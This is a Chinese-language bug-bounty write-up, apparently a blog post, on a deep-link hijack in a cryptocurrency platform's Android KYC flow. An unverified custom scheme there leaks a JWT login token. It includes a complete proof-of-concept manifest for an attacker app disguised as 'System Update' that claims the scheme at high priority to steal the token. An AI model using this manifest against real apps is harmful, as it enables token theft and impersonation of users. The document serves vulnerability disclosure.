揭秘Android OAuth自定义协议劫持漏洞:从漏洞挖掘到实战利用

本文深入剖析了一个被忽视的Android OAuth自定义协议劫持漏洞。作者通过分析APK反编译后的Manifest文件,发现一个关键Activity未正确配置`android:autoVerify`属性,导致攻击者可声明相同协议并劫持包含敏感JWT令牌的回调链接,最终成功实现用户身份冒用并获得了丰厚赏金。

被忽视的Android漏洞:OAuth自定义协议劫持

在这篇文章中,我将详细介绍我是如何通过一个漏洞,实现了对某顶级加密货币平台两次KYC接管,并能够冒充合法客户,最终获得了可观的漏洞赏金。

漏洞发现

在分析反编译后的APK清单文件时,我偶然发现了一个名为 KycWebActivity 的活动。

KycWebActivity 这个活动负责管理客户的KYC流程。KYC(即“了解你的客户”),是通过护照或身份证在加密货币平台上验证客户身份并完成注册的过程。

漏洞流程

当用户发起KYC流程时,该活动会启动一个WebView,指向 https://redacted.com/provider/sumsub_eid/redirect,通过上述Intent过滤器开始KYC验证流程。

问题出现在合法的受害者完成KYC验证之后。JWT令牌包含了受害者的秘密数据,并用于登录,随后通过一个未受保护的自定义协议深度链接进行回调。

如上图所示,第一个Intent过滤器是一个自定义协议(示例中已隐去),主机为 kyc_result,并且没有使用 android:autoVerify=true 进行保护。这意味着任何恶意的第三方应用都可以在清单文件中声明相同的协议,从而劫持令牌。令牌的格式如下: redacted://kyc_result/sumsub_eid/?success=true&jwt=secretToken

在深入研究活动代码后,我发现回调提供方是这样构造可被劫持的深度链接的。

深度链接构造

为何JWT可被劫持

该应用使用自定义协议来回调JWT,但未使用 android:autoVerify=true。这允许任何恶意第三方应用在清单中声明相同的方案并劫持令牌。请参阅谷歌关于保护App Links的文档: 验证应用链接 | 应用架构 | Android 开发者

当你的应用的至少一个Intent过滤器中出现 android:autoVerify="true" 时,在设备上安装你的应用…

编写漏洞利用程序

可以通过在POC(概念验证)的 AndroidManifest.xml 中声明相同的方案来利用此类漏洞,如下所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.attacker.kychijackmona">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="System Update"
        android:theme="@style/AppTheme">

        <activity
            android:name=".MaliciousKycInterceptor"
            android:exported="true"
            android:launchMode="singleTop"
            android:noHistory="true">

            <!-- 劫持自定义协议 -->
            <intent-filter android:priority="999">
                <!-- 提高优先级以增加用户点击我们应用的攻击向量 -->
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="redacted"/>
                <data android:host="kyc_result"/>
                <data android:pathPrefix="/sumsub_eid"/>
            </intent-filter>
        </activity>
    </application>
</manifest>

当使用 android:priority="999" 时,会使POC应用在Android选择器中出现在合法的易受攻击应用之前,如下方POC截图所示。

KYC完成后,劫持者应用出现在合法应用之前

请注意,当受害者完成KYC流程时,劫持者应用会出现在合法应用之前。一旦受害者选择了我们的POC应用,JWT令牌就被窃取了。

我们最终报告了多个同类型的漏洞,并获得了一笔不错的赏金。

Hackerone

希望你喜欢这篇博客。

在LinkedIn上联系我:https://www.linkedin.com/in/abdullahahmed11/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计